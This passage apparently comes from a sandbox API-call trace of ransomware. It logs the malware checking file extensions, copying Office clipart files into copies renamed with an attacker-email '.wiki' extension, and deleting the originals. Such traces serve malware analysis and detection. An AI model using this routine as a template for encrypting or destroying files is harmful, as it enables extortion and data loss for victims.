lstrlenW (lpString=".docx") returned 5 [0197.183] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.183] lstrlenW (lpString=".pdf") returned 4 [0197.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString=".xls") returned 4 [0197.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.183] lstrlenW (lpString=".xlsx") returned 5 [0197.183] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.183] lstrlenW (lpString=".ppt") returned 4 [0197.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.183] lstrlenW (lpString=".zip") returned 4 [0197.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.183] lstrlenW (lpString=".rar") returned 4 [0197.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString=".bz2") returned 4 [0197.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString=".7z") returned 3 [0197.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.183] lstrlenW (lpString=".dbf") returned 4 [0197.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.183] lstrlenW (lpString=".1cd") returned 4 [0197.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0197.183] lstrlenW (lpString=".jpg") returned 4 [0197.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.184] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.184] lstrlenW (lpString="J0152628.WMF") returned 12 [0197.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.184] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=30812) returned 1 [0197.184] CloseHandle (hObject=0x1d0) returned 1 [0197.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0197.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.185] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.185] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0197.185] GetLastError () returned 0x0 [0197.185] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x785c, lpOverlapped=0x0) returned 1 [0197.402] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0197.403] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.403] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.403] SetEndOfFile (hFile=0x1e0) returned 1 [0197.403] CloseHandle (hObject=0x1e0) returned 1 [0197.404] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.404] SetEndOfFile (hFile=0x1d0) returned 1 [0197.404] CloseHandle (hObject=0x1d0) returned 1 [0197.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0198.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.423] lstrlenW (lpString=".doc") returned 4 [0198.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.423] lstrlenW (lpString=".docx") returned 5 [0198.423] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.423] lstrlenW (lpString=".pdf") returned 4 [0198.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.423] lstrlenW (lpString=".xls") returned 4 [0198.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.423] lstrlenW (lpString=".xlsx") returned 5 [0198.423] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.423] lstrlenW (lpString=".ppt") returned 4 [0198.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString=".zip") returned 4 [0198.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.424] lstrlenW (lpString=".rar") returned 4 [0198.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString=".bz2") returned 4 [0198.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString=".7z") returned 3 [0198.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString=".dbf") returned 4 [0198.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString=".1cd") returned 4 [0198.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString=".jpg") returned 4 [0198.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.424] lstrlenW (lpString=".doc") returned 4 [0198.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString=".docx") returned 5 [0198.424] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.424] lstrlenW (lpString=".pdf") returned 4 [0198.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.424] lstrlenW (lpString=".xls") returned 4 [0198.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.424] lstrlenW (lpString=".xlsx") returned 5 [0198.424] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.425] lstrlenW (lpString=".ppt") returned 4 [0198.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.425] lstrlenW (lpString=".zip") returned 4 [0198.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.425] lstrlenW (lpString=".rar") returned 4 [0198.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.425] lstrlenW (lpString=".bz2") returned 4 [0198.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.425] lstrlenW (lpString=".7z") returned 3 [0198.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.425] lstrlenW (lpString=".dbf") returned 4 [0198.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.425] lstrlenW (lpString=".1cd") returned 4 [0198.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0198.425] lstrlenW (lpString=".jpg") returned 4 [0198.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.425] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.425] lstrlenW (lpString="J0152884.WMF") returned 12 [0198.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.757] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6956) returned 1 [0198.757] CloseHandle (hObject=0x1d0) returned 1 [0198.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0198.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.758] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.758] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.758] GetLastError () returned 0x0 [0198.758] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1b2c, lpOverlapped=0x0) returned 1 [0198.767] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0198.768] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.768] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.768] SetEndOfFile (hFile=0x20c) returned 1 [0198.768] CloseHandle (hObject=0x20c) returned 1 [0198.768] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.768] SetEndOfFile (hFile=0x1d0) returned 1 [0198.769] CloseHandle (hObject=0x1d0) returned 1 [0198.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString=".doc") returned 4 [0198.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString=".docx") returned 5 [0198.770] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.770] lstrlenW (lpString=".pdf") returned 4 [0198.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString=".xls") returned 4 [0198.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.770] lstrlenW (lpString=".xlsx") returned 5 [0198.770] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.770] lstrlenW (lpString=".ppt") returned 4 [0198.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString=".zip") returned 4 [0198.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.770] lstrlenW (lpString=".rar") returned 4 [0198.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString=".bz2") returned 4 [0198.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString=".7z") returned 3 [0198.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString=".dbf") returned 4 [0198.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString=".1cd") returned 4 [0198.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.770] lstrlenW (lpString=".jpg") returned 4 [0198.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString=".doc") returned 4 [0198.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString=".docx") returned 5 [0198.771] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.771] lstrlenW (lpString=".pdf") returned 4 [0198.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString=".xls") returned 4 [0198.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.771] lstrlenW (lpString=".xlsx") returned 5 [0198.771] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.771] lstrlenW (lpString=".ppt") returned 4 [0198.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString=".zip") returned 4 [0198.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.771] lstrlenW (lpString=".rar") returned 4 [0198.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString=".bz2") returned 4 [0198.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString=".7z") returned 3 [0198.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString=".dbf") returned 4 [0198.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString=".1cd") returned 4 [0198.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0198.771] lstrlenW (lpString=".jpg") returned 4 [0198.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.772] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.772] lstrlenW (lpString="J0153305.WMF") returned 12 [0198.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.772] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=38488) returned 1 [0198.772] CloseHandle (hObject=0x1d0) returned 1 [0198.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0198.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.773] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.773] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.773] GetLastError () returned 0x0 [0198.773] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x9658, lpOverlapped=0x0) returned 1 [0198.784] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x9660, lpOverlapped=0x0) returned 1 [0198.785] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.785] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.785] SetEndOfFile (hFile=0x20c) returned 1 [0198.785] CloseHandle (hObject=0x20c) returned 1 [0198.785] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.785] SetEndOfFile (hFile=0x1d0) returned 1 [0198.786] CloseHandle (hObject=0x1d0) returned 1 [0198.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.787] lstrlenW (lpString=".doc") returned 4 [0198.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString=".docx") returned 5 [0198.787] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.787] lstrlenW (lpString=".pdf") returned 4 [0198.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString=".xls") returned 4 [0198.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.787] lstrlenW (lpString=".xlsx") returned 5 [0198.787] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.787] lstrlenW (lpString=".ppt") returned 4 [0198.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.787] lstrlenW (lpString=".zip") returned 4 [0198.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.787] lstrlenW (lpString=".rar") returned 4 [0198.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString=".bz2") returned 4 [0198.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString=".7z") returned 3 [0198.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.787] lstrlenW (lpString=".dbf") returned 4 [0198.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString=".1cd") returned 4 [0198.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString=".jpg") returned 4 [0198.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString=".doc") returned 4 [0198.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString=".docx") returned 5 [0198.788] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.788] lstrlenW (lpString=".pdf") returned 4 [0198.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString=".xls") returned 4 [0198.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.788] lstrlenW (lpString=".xlsx") returned 5 [0198.788] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.788] lstrlenW (lpString=".ppt") returned 4 [0198.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0198.788] lstrlenW (lpString=".zip") returned 4 [0198.788] lstrcmpiW (lpString1=".zip", 